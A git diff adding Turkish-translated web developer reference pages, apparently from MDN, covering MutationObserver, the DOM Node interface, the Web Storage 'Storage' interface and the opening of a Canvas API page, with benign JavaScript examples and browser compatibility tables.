+<p>{{domxref("MutationRecord")}} nesnelerinden oluşmuş bir dizidir.</p> + +<h2 id="MutationObserverInit"><code>MutationObserverInit</code></h2> + +<p><code>MutationObserverInit</code> aşağıdaki niteliklerin tanımlandığı nesnedir.</p> + +<div class="note"><strong>Anımsatma:</strong> En azından <code>childList</code>, <code>attributes</code> veyâ <code>characterData</code> nitelikleri <code>true</code> olarak belirtilmelidir. Tersi durumda, "Geçersiz veyâ hatalı bir metin belirtildi. (An invalid or illegal string was specified)" hatasıyla karşılaşılabilir.</div> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Nitelik</td> + <td class="header">Açıklama</td> + </tr> + <tr> + <td><code>childList</code></td> + <td>Eğer <code>true</code> olarak belirtilirse DOM öğesinde gerçekleştirilen öge veyâ düğüm noktası eklemeler-çıkarmalar gözlenir. Metin düğüm noktaları (text node) da bunun içerisindedir.</td> + </tr> + <tr> + <td><code>attributes</code></td> + <td>Eğer <code>true</code> olarak belirtilirse hedef ögenin niteliklerinde ortaya çıkan değişiklikler gözlenir.</td> + </tr> + <tr> + <td><code>characterData</code></td> + <td>Eğer <code>true</code> olarak belirtilirse hedef ögenin verisindeki değişimler gözlenir.</td> + </tr> + <tr> + <td><code>subtree</code></td> + <td>Eğer <code>true</code> olarak belirtilirse hedef ögenin ve altögelerinin dönüşümleri gözlenir.</td> + </tr> + <tr> + <td><code>attributeOldValue</code></td> + <td>Eğer <code>true</code> olarak belirtilirse niteliğin değişimden önceki değeri de kayıt altına alınır.</td> + </tr> + <tr> + <td><code>characterDataOldValue</code></td> + <td>Eğer <code>true</code> olarak belirtilirse ögenin verisinin değişimden önceki değeri de kaydedilir.</td> + </tr> + <tr> + <td><code>attributeFilter</code></td> + <td>Eğer tüm niteliklerin gözlenmesi gerekmiyorsa gözlenmesi istenen niteliklerin adlarının bir dizisi bu niteliğe atanır.</td> + </tr> + </tbody> +</table> + +<h2 id="Örnek_Kullanım">Örnek Kullanım</h2> + +<p>Aşağıdaki örnek <a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">bu blog gönderisinden</a> alınmıştır. Ancak açıklamalar ve değişken adları değiştirilmiştir.</p> + +<pre class="brush: js">// Hedef DOM ögesini seç. +var nHedef = document.getElementById('bir-kimlik-degeri'); + +// Bir gözlemci yarat. +var nGozlemci = new MutationObserver(function(nDonusumler) { + + // Öge dönüştüğünde, tüm dönüşümleri dolaş. + nDonusumler.forEach(function(nDonusum) { + + // Sıradaki dönüşümü komut satırı ekranına yazdır. + console.log(nDonusum.type); + + }); + +}); + +// Gözlemcinin ayarlarını belirle. +var nAyarlar = { attributes: true, childList: true, characterData: true }; + +// Gözlemciyi belirlenen ayarlarla belirtilen ögeye ata. +nGozlemci.observe(nHedef, nAyarlar); + +// Daha sonraları, aşağıdaki komutla gözlemleme durdurulabilir. +nGozlemci.disconnect(); +</pre> + +<h2 id="Ayrıca_Okuyunuz">Ayrıca Okuyunuz</h2> + +<ul> + <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">Kısa bir inceleme</a></li> + <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">Daha ayrıntılı bir tartışma</a></li> + <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">Chromium geliştiricisi Rafael Weinstein'ın ekran vidyosu</a></li> + <li><a class="external" href="http://code.google.com/p/mutation-summary/" rel="freelink">Dönüşüm özet kütüphanesi</a></li> +</ul> + +<h2 id="Specifications" name="Specifications">Belirlemeler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirleme</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td> + <td>{{ Spec2('DOM WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Desteği">Tarayıcı Desteği</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Durum</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destek</td> + <td>18 {{property_prefix("-webkit")}}<br> + 26</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(14)}}</td> + <td>11</td> + <td>15</td> + <td>6.0 {{property_prefix("-webkit")}}<br> + 7</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Durum</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel destek</td> + <td>4.4</td> + <td>18 {{property_prefix("-webkit")}}<br> + 26</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(14)}}</td> + <td>11 (8.1)</td> + <td>15</td> + <td>6 {{property_prefix("-webkit")}}<br> + 7</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/tr/web/api/node/index.html b/files/tr/web/api/node/index.html new file mode 100644 index 0000000000..043ea4eeb1 --- /dev/null +++ b/files/tr/web/api/node/index.html @@ -0,0 +1,383 @@ +--- +title: Node +slug: Web/API/Node +tags: + - API + - DOM + - Interface + - NeedsTranslation + - Node + - Reference + - TopicStub +translation_of: Web/API/Node +--- +<p>{{APIRef("DOM")}}</p> + +<p><span class="seoSummary"><strong><code>Node</code></strong> is an interface from which various types of DOM API objects inherit, allowing those types to be treated similarly; for example, inheriting the same set of methods, or being testable in the same way.</span></p> + +<p>All of the following interfaces inherit the <code>Node</code> interface's methods and properties: {{DOMxRef("Document")}}, {{DOMxRef("Element")}}, {{DOMxRef("Attr")}}, {{DOMxRef("CharacterData")}} (which {{DOMxRef("Text")}}, {{DOMxRef("Comment")}}, and {{DOMxRef("CDATASection")}} inherit), {{DOMxRef("ProcessingInstruction")}}, {{DOMxRef("DocumentFragment")}}, {{DOMxRef("DocumentType")}}, {{DOMxRef("Notation")}}, {{DOMxRef("Entity")}}, {{DOMxRef("EntityReference")}}</p> + +<p>Those interfaces may return <code>null</code> in certain cases where the methods and properties are not relevant. They may throw an exception — for example when adding children to a node type for which no children can exist.</p> + +<p>{{InheritanceDiagram}}</p> + +<h2 id="Properties">Properties</h2> + +<p><em>Inherits properties from its parent, {{DOMxRef("EventTarget")}}</em>.<sup>[1]</sup></p> + +<dl> + <dt>{{DOMxRef("Node.baseURI")}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("DOMString")}} representing the base URL of the document containing the <code>Node</code>.</dd> + <dt>{{DOMxRef("Node.baseURIObject")}} {{Non-standard_inline}} {{ReadOnlyInline}}{{Fx_MinVersion_Inline("3")}}</dt> + <dd>(Not available to web content.) The {{ Interface("nsIURI") }} object representing the base URI for the element.</dd> + <dt>{{DOMxRef("Node.childNodes")}}{{ReadOnlyInline}}</dt> + <dd>Returns a live {{DOMxRef("NodeList")}} containing all the children of this node. {{DOMxRef("NodeList")}} being live means that if the children of the <code>Node</code> change, the {{DOMxRef("NodeList")}} object is automatically updated.</dd> + <dt>{{DOMxRef("Node.firstChild")}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("Node")}} representing the first direct child node of the node, or <code>null</code> if the node has no child.</dd> + <dt>{{DOMxRef("Node.isConnected")}}{{ReadOnlyInline}}</dt> + <dd>A boolean indicating whether or not the Node is connected (directly or indirectly) to the context object, e.g. the {{DOMxRef("Document")}} object in the case of the normal DOM, or the {{DOMxRef("ShadowRoot")}} in the case of a shadow DOM.</dd> + <dt>{{DOMxRef("Node.lastChild")}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("Node")}} representing the last direct child node of the node, or <code>null</code> if the node has no child.</dd> + <dt>{{DOMxRef("Node.nextSibling")}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("Node")}} representing the next node in the tree, or <code>null</code> if there isn't such node.</dd> + <dt>{{DOMxRef("Node.nodeName")}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("DOMString")}} containing the name of the <code>Node</code>. The structure of the name will differ with the node type. E.g. An {{DOMxRef("HTMLElement")}} will contain the name of the corresponding tag, like <code>'audio'</code> for an {{DOMxRef("HTMLAudioElement")}}, a {{DOMxRef("Text")}} node will have the <code>'#text'</code> string, or a {{DOMxRef("Document")}} node will have the <code>'#document'</code> string.</dd> + <dt>{{DOMxRef("Node.nodeType")}}{{ReadOnlyInline}}</dt> + <dd>Returns an <code>unsigned short</code> representing the type of the node. Possible values are: + <table class="standard-table"> + <thead> + <tr> + <th scope="col">Name</th> + <th scope="col">Value</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>ELEMENT_NODE</code></td> + <td><code>1</code></td> + </tr> + <tr> + <td><code>ATTRIBUTE_NODE</code> {{Deprecated_Inline}}</td> + <td><code>2</code></td> + </tr> + <tr> + <td><code>TEXT_NODE</code></td> + <td><code>3</code></td> + </tr> + <tr> + <td><code>CDATA_SECTION_NODE</code></td> + <td><code>4</code></td> + </tr> + <tr> + <td><code>ENTITY_REFERENCE_NODE</code> {{Deprecated_Inline}}</td> + <td><code>5</code></td> + </tr> + <tr> + <td><code>ENTITY_NODE</code> {{Deprecated_Inline}}</td> + <td><code>6</code></td> + </tr> + <tr> + <td><code>PROCESSING_INSTRUCTION_NODE</code></td> + <td><code>7</code></td> + </tr> + <tr> + <td><code>COMMENT_NODE</code></td> + <td><code>8</code></td> + </tr> + <tr> + <td><code>DOCUMENT_NODE</code></td> + <td><code>9</code></td> + </tr> + <tr> + <td><code>DOCUMENT_TYPE_NODE</code></td> + <td><code>10</code></td> + </tr> + <tr> + <td><code>DOCUMENT_FRAGMENT_NODE</code></td> + <td><code>11</code></td> + </tr> + <tr> + <td><code>NOTATION_NODE</code> {{Deprecated_Inline}}</td> + <td><code>12</code></td> + </tr> + </tbody> + </table> + </dd> + <dt>{{DOMxRef("Node.nodeValue")}}</dt> + <dd>Returns / Sets the value of the current node.</dd> + <dt>{{DOMxRef("Node.ownerDocument")}}{{ReadOnlyInline}}</dt> + <dd>Returns the {{DOMxRef("Document")}} that this node belongs to. If the node is itself a document, returns <code>null</code>.</dd> + <dt>{{DOMxRef("Node.parentNode")}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns <code>null</code>.</dd> + <dt>{{DOMxRef("Node.parentElement")}}{{ReadOnlyInline}}</dt> + <dd>Returns an {{DOMxRef("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{DOMxRef("Element")}}, this property returns <code>null</code>.</dd> + <dt>{{DOMxRef("Node.previousSibling")}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("Node")}} representing the previous node in the tree, or <code>null</code> if there isn't such node.</dd> + <dt>{{DOMxRef("Node.textContent")}}</dt> + <dd>Returns / Sets the textual content of an element and all its descendants.</dd> +</dl> + +<h3 id="Obsolete_properties">Obsolete properties</h3> + +<dl> + <dt>{{DOMxRef("Node.localName")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("DOMString")}} representing the local part of the qualified name of an element. + <div class="blockIndicator note"> + <p><strong>Note:</strong> In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML.</p> + </div> + </dd> + <dt>{{DOMxRef("Node.namespaceURI")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> + <dd>The namespace URI of this node, or <code>null</code> if it is no namespace. + <div class="blockIndicator note"> + <p><strong>Note:</strong> In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="https://www.w3.org/1999/xhtml/">http://www.w3.org/1999/xhtml/</a></code> namespace in both HTML and XML trees.</p> + </div> + </dd> + <dt>{{DOMxRef("Node.nodePrincipal")}} {{Non-standard_inline}}{{Obsolete_Inline("gecko46")}}{{Fx_MinVersion_Inline("3")}}</dt> + <dd>A {{Interface("nsIPrincipal")}} representing the node principal.</dd> + <dt>{{DOMxRef("Node.prefix")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> + <dd>Is a {{DOMxRef("DOMString")}} representing the namespace prefix of the node, or <code>null</code> if no prefix is specified.</dd> + <dt>{{DOMxRef("Node.rootNode")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef("Node")}} object representing the topmost node in the tree, or the current node if it's the topmost node in the tree. This has been replaced by {{DOMxRef("Node.getRootNode()")}}.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>Inherits methods from its parent, {{DOMxRef("EventTarget")}}</em>.<sup>[1]</sup></p> + +<dl> + <dt>{{DOMxRef("Node.appendChild()", "Node.appendChild(<var>childNode</var>)")}}</dt> + <dd>Adds the specified <code><var>childNode</var></code> argument as the last child to the current node.<br> + If the argument referenced an existing node on the DOM tree, the node will be detached from its current position and attached at the new position.</dd> + <dt>{{DOMxRef("Node.cloneNode()")}}</dt> + <dd>Clone a {{DOMxRef("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.</dd> + <dt>{{DOMxRef("Node.compareDocumentPosition()")}}</dt> + <dd>Compares the position of the current node against another node in any other document.</dd> + <dt>{{DOMxRef("Node.contains()")}}</dt> + <dd>Returns a {{jsxref("Boolean")}} value indicating whether or not a node is a descendant of the calling node.</dd> + <dt>{{domxref("Node.getBoxQuads()")}} {{experimental_inline}}</dt> + <dd>Returns a list of the node's CSS boxes relative to another node.</dd> + <dt>{{DOMxRef("Node.getRootNode()")}}</dt> + <dd>Returns the context object's root which optionally includes the shadow root if it is available. </dd> + <dt>{{DOMxRef("Node.hasChildNodes()")}}</dt> + <dd>Returns a {{jsxref("Boolean")}} indicating whether or not the element has any child nodes.</dd> + <dt>{{DOMxRef("Node.insertBefore()")}}</dt> + <dd>Inserts a {{DOMxRef("Node")}} before the reference node as a child of a specified parent node.</dd> + <dt>{{DOMxRef("Node.isDefaultNamespace()")}}</dt> + <dd>Accepts a namespace URI as an argument and returns a {{jsxref("Boolean")}} with a value of <code>true</code> if the namespace is the default namespace on the given node or <code>false</code> if not.</dd> + <dt>{{DOMxRef("Node.isEqualNode()")}}</dt> + <dd>Returns a {{jsxref("Boolean")}} which indicates whether or not two nodes are of the same type and all their defining data points match.</dd> + <dt>{{DOMxRef("Node.isSameNode()")}}</dt> + <dd>Returns a {{jsxref("Boolean")}} value indicating whether or not the two nodes are the same (that is, they reference the same object).</dd> + <dt>{{DOMxRef("Node.lookupPrefix()")}}</dt> + <dd>Returns a {{DOMxRef("DOMString")}} containing the prefix for a given namespace URI, if present, and <code>null</code> if not. When multiple prefixes are possible, the result is implementation-dependent.</dd> + <dt>{{DOMxRef("Node.lookupNamespaceURI()")}}</dt> + <dd>Accepts a prefix and returns the namespace URI associated with it on the given node if found (and <code>null</code> if not). Supplying <code>null</code> for the prefix will return the default namespace.</dd> + <dt>{{DOMxRef("Node.normalize()")}}</dt> + <dd>Clean up all the text nodes under this element (merge adjacent, remove empty).</dd> + <dt>{{DOMxRef("Node.removeChild()")}}</dt> + <dd>Removes a child node from the current element, which must be a child of the current node.</dd> + <dt>{{DOMxRef("Node.replaceChild()")}}</dt> + <dd>Replaces one child {{DOMxRef("Node")}} of the current one with the second one given in parameter.</dd> +</dl> + +<h3 id="Obsolete_methods">Obsolete methods</h3> + +<dl> + <dt>{{DOMxRef("Node.getFeature()")}} {{Obsolete_Inline}}</dt> + <dd></dd> + <dt>{{DOMxRef("Node.getUserData()")}} {{Obsolete_Inline}}</dt> + <dd>Allows a user to get some {{DOMxRef("DOMUserData")}} from the node.</dd> + <dt>{{DOMxRef("Node.hasAttributes()")}} {{Obsolete_Inline}}</dt> + <dd>Returns a {{jsxref("Boolean")}} indicating if the element has any attributes, or not.</dd> + <dt>{{DOMxRef("Node.isSupported()")}} {{Obsolete_Inline}}</dt> + <dd>Returns a {{jsxref("Boolean")}} flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.</dd> + <dt>{{DOMxRef("Node.setUserData()")}} {{Obsolete_Inline}}</dt> + <dd>Allows a user to attach, or remove, {{DOMxRef("DOMUserData")}} to the node.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Remove_all_children_nested_within_a_node">Remove all children nested within a node</h3> + +<pre class="brush: js">function removeAllChildren(element) { + while (element.firstChild) { + element.removeChild(element.firstChild) + } +}</pre> + +<h4 id="Sample_usage">Sample usage</h4> + +<pre class="brush: js;">/* ... an alternative to document.body.innerHTML = "" ... */ +removeAllChildren(document.body)</pre> + +<h3 id="Recurse_through_child_nodes">Recurse through child nodes</h3> + +<p>The following function recursively calls a callback function for each node contained by a root node (including the root itself):</p> + +<pre class="brush: js;">function eachNode(rootNode, callback) { + if (!callback) { + const nodes = [] + eachNode(rootNode, function(node) { + nodes.push(node) + }) + return nodes + } + + if (false === callback(rootNode)) { + return false + } + + if (rootNode.hasChildNodes()) { + const nodes = rootNode.childNodes + for (let i = 0, l = nodes.length; i < l; ++i) { + if (false === eachNode(nodes[i], callback)) { + return + } + } + } +} +</pre> + +<h4 id="Syntax">Syntax</h4> + +<pre class="syntaxbox">eachNode(<var>rootNode</var>, <var>callback</var>)</pre> + +<h4 id="Description">Description</h4> + +<p>Recursively calls a function for each descendant node of <code><var>rootNode</var></code> (including the root itself).</p> + +<p>If <code><var>callback</var></code> is omitted, the function returns an {{jsxref("Array")}} instead, which contains <code><var>rootNode</var></code> and all nodes contained within.</p> + +<p>If <code><var>callback</var></code> is provided, and it returns {{jsxref("Boolean")}} <code>false</code> when called, the current recursion level is aborted, and the function resumes execution at the last parent's level. This can be used to abort loops once a node has been found (such as searching for a text node which contains a certain string).</p> + +<h4 id="Parameters">Parameters</h4> + +<dl> + <dt><code><var>rootNode</var></code></dt> + <dd>The <code>Node</code> object whose descendants will be recursed through.</dd> + <dt><code><var>callback</var></code> {{optional_inline}}</dt> + <dd>An optional callback <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">function</a> that receives a <code>Node</code> as its only argument. If omitted, <code>eachNode</code> returns an {{jsxref("Array")}} of every node contained within <code><var>rootNode</var></code> (including the root itself).</dd> +</dl> + +<h4 id="Sample_usage_2">Sample usage</h4> + +<p>The following example prints the <a href="/en-US/docs/Web/API/Node/textContent"><code>textContent</code></a> properties of each <code><span></code> tag in a <code><div></code> element named <code>"box"</code>:</p> + +<pre class="brush: html;"><div id="box"> + <span>Foo</span> + <span>Bar</span> + <span>Baz</span> +</div></pre> + +<pre class="brush: js;">const box = document.getElementById("box") +eachNode(box, function(node) { + if (null != node.textContent) { + console.log(node.textContent) + } +})</pre> + +<p>The above will result in the following strings printing to the user's console:</p> + +<pre class="brush: js;">"\n\t", "Foo", "\n\t", "Bar", "\n\t", "Baz"</pre> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> Whitespace forms part of a {{DOMxRef("Text")}} node, meaning indentation and newlines form separate <code>Text</code> between the <code>Element</code> nodes.</p> +</div> + +<h4 id="Realistic_usage">Realistic usage</h4> + +<p>The following demonstrates a real-world use of the <code>eachNode()</code> function: searching for text on a web-page.</p> + +<p>We use a wrapper function named <code>grep</code> to do the searching:</p> + +<pre class="brush: js;">function grep(parentNode, pattern) { + const matches = [] + let endScan = false + + eachNode(parentNode, function(node){ + if (endScan) { + return false + } + + // Ignore anything which isn't a text node + if (node.nodeType !== Node.TEXT_NODE) { + return + } + + if (typeof pattern === "string") { + if (-1 !== node.textContent.indexOf(pattern)) { + matches.push(node) + } + } + else if (pattern.test(node.textContent)) { + if (!pattern.global) { + endScan = true + matches = node + } + else { + matches.push(node) + } + } + }) + + return matches +}</pre> + +<p>For example, to find {{DOMxRef("Text")}} nodes that contain typos:</p> + +<pre class="brush: js;">const typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"] +const pattern = new RegExp("\\b(" + typos.join("|") + ")\\b", "gi") +const mistakes = grep(document.body, pattern) +console.log(mistakes) +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#interface-node", "Node")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Added the following methods: <code>getRootNode()</code></td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#interface-node", "Node")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>Removed the following properties: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br> + Removed the following methods: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData()</code>.</td> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "core.html#ID-1950641247", "Node")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>The methods <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> returns one more kind of error (<code>NOT_SUPPORTED_ERR</code>) if called on a {{DOMxRef("Document")}}.<br> + The <code>normalize()</code> method has been modified so that {{DOMxRef("Text")}} node can also be normalized if the proper {{DOMxRef("DOMConfiguration")}} flag is set.<br> + Added the following methods: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br> + Added the following properties: <code>baseURI</code> and <code>textContent</code>.</td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "core.html#ID-1950641247", "Node")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>The <code>ownerDocument</code> property was slightly modified so that {{DOMxRef("DocumentFragment")}} also returns <code>null</code>.<br> + Added the following properties: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br> + Added the following methods: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td> + </tr> + <tr> + <td>{{SpecName("DOM1", "level-one-core.html#ID-1950641247", "Node")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Node")}}</p> diff --git a/files/tr/web/api/storage/index.html b/files/tr/web/api/storage/index.html new file mode 100644 index 0000000000..e351674887 --- /dev/null +++ b/files/tr/web/api/storage/index.html @@ -0,0 +1,164 @@ +--- +title: Saklama +slug: Web/API/Storage +tags: + - API + - Arayüz + - Başvuru + - Depolama + - Referans + - Saklama + - Veri + - Web Depolama + - Web Saklama +translation_of: Web/API/Storage +--- +<p>{{APIRef("Web Storage API")}}</p> + +<p>Web Saklama API'nin Storage arayüzü belirli bir alan için oturum belleğine ya da yerel belleğe erişim sağlar, örneğin saklanmış veri öğelerini ekleme, değiştirme ya da silme izni verir.</p> + +<p>Bir alan için oturum belleğini değiştirmek istiyorsanız, {{domxref("Window.sessionStorage")}} yöntemini çağırın; bir alan için yerel belleğini değiştirmek istiyorsanız, {{domxref("Window.localStorage")}} çağırın.</p> + +<h2 id="Özellikler">Özellikler</h2> + +<dl> + <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt> + <dd><code>Storage</code><span lang="tr"> <span class="hps">nesnesinde saklanan</span> <span class="hps">veri</span> <span class="hps">öğelerinin</span> <span class="hps">sayısını</span> belirten<span class="hps"> bir</span> <span class="hps">tamsayı</span> <span class="hps">döndürür.</span></span></dd> +</dl> + +<h2 id="Yöntemler">Yöntemler</h2> + +<dl> + <dt>{{domxref("Storage.key()")}}</dt> + <dd>Bir n numarası olduğunda, bu yöntem bellekte n. anahtarın ismini döndürecektir.</dd> +</dl> + +<dl> + <dt>{{domxref("Storage.getItem()")}}</dt> + <dd>Bir anahtar numarası olduğunda, bu anahtarın değerini döndürecektir.</dd> + <dt>{{domxref("Storage.setItem()")}}</dt> + <dd>Bir anahtarın ismi ile değeri olduğunda, bu anahtarı belleğe ekler ya da bu anahtarın değeri önceden varsa günceller.</dd> + <dt>{{domxref("Storage.removeItem()")}}</dt> + <dd>Bir anahtarın ismi olduğunda, bu anahtarı bellekten siler.</dd> + <dt>{{domxref("Storage.clear()")}}</dt> + <dd>Çağrıldığında, bütün anahtarları belleğin dışına boşaltacaktır.</dd> +</dl> + +<h2 id="Örnekler">Örnekler</h2> + +<p>Bir <code>Storage</code> nesnesini <code>localStorage</code> yolu ile çağırıyoruz. Here we access a <code>Storage</code> object by calling <code>localStorage</code>. Yerel belleğin <code>!localStorage.getItem('bgcolor')</code> kullanarak veri içerip içermediğini sınıyoruz. Olursa, {{domxref("localStorage.getItem()")}} kullanarak veri öğesi alan <code>setStyles()</code> isminde bir fonksiyon çağırıyoruz ve şu değerleri kullanarak sayfa biçimlerini güncelliyoruz. Olmazsa, diğer <code>populateStorage()</code> fonksiyonu çağrılır, {{domxref("localStorage.setItem()")}} kullanarak öğelerinin değerlerini belirlemek için ardından <code>setStyles()</code> çağrılır.</p> + +<pre class="brush: js">if(!localStorage.getItem('bgcolor')) { + populateStorage(); +} else { + setStyles(); +} + +function populateStorage() { + localStorage.setItem('bgcolor', document.getElementById('bgcolor').value); + localStorage.setItem('font', document.getElementById('font').value); + localStorage.setItem('image', document.getElementById('image').value); + + setStyles(); +} + +function setStyles() { + var currentColor = localStorage.getItem('bgcolor'); + var currentFont = localStorage.getItem('font'); + var currentImage = localStorage.getItem('image'); + + document.getElementById('bgcolor').value = currentColor; + document.getElementById('font').value = currentFont; + document.getElementById('image').value = currentImage; + + htmlElem.style.backgroundColor = '#' + currentColor; + pElem.style.fontFamily = currentFont; + imgElem.setAttribute('src', currentImage); +}</pre> + +<div class="note"> +<p><strong>Not</strong>: <span id="result_box" lang="tr"><span class="hps">Tam bir</span> <span class="hps">çalışma</span> <span class="hps">örneği olarak</span> <span class="hps">çalışanı</span></span><span lang="tr"> <span class="hps">görmek için, <a href="https://github.com/mdn/web-storage-demo">Web Bellek Tanıtımınıza</a> bakınız.</span></span></p> +</div> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Web Storage', '#the-storage-interface', 'Storage')}}</td> + <td>{{Spec2('Web Storage')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>localStorage</td> + <td>4</td> + <td>3.5</td> + <td>8</td> + <td>10.50</td> + <td>4</td> + </tr> + <tr> + <td>sessionStorage</td> + <td>5</td> + <td>2</td> + <td>8</td> + <td>10.50</td> + <td>4</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>2.1</td> + <td>{{ CompatUnknown }}</td> + <td>8</td> + <td>11</td> + <td>3.2[1]</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] iOS 5.1'ten beri, Safari Mobile <code>localStorage</code> verisini önbellek dizinine kaydeder, genelde boş yer kısa ise zaman zaman bağlı olan işletim sistemi buyruğu ile temizlenir.</p> + +<p>Bütün tarayıcılar localStorage ile sessionStorage için değişen seviyede hacim sahiptirler. Burada <a href="http://dev-test.nemikor.com/web-storage/support-test/">çeşitli tarayıcılar için bütün bellek hacimlerinin ayrıntılı özeti</a>.</p> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Belleği API'sini Kullanma</a></p> diff --git a/files/tr/web/api/tuval_arabirimi/index.html b/files/tr/web/api/tuval_arabirimi/index.html new file mode 100644 index 0000000000..f6a9a2f8d7 --- /dev/null +++ b/files/tr/web/api/tuval_arabirimi/index.html @@ -0,0 +1,173 @@ +--- +title: Tuval Arabirimi +slug: Web/API/Tuval_Arabirimi +tags: + - Arabirim + - Canvas + - Genel Bakış + - JavaScript + - Kaynak + - Tuval +translation_of: Web/API/Canvas_API +--- +<div>{{CanvasSidebar}}</div> + +<p class="summary"><span class="seoSummary">Tuval anlamına gelen canvas, <a href="/en-US/docs/HTML/HTML5">HTML5</a> de eklenmiştir, <strong>{{HTMLElement("canvas")}} adlı HTML ögesi </strong>JavaScript betikleriyle birlikte, çizge çizmek için kullanılabilir. Örneğin görsel işleyebilir, görselleri canlandırabilir, gerçek zamanlı izleti bile işleyebilirsiniz. </span></p> + +<p>Mozilla uygulamaları Gecko 1.8 (bkz. <a 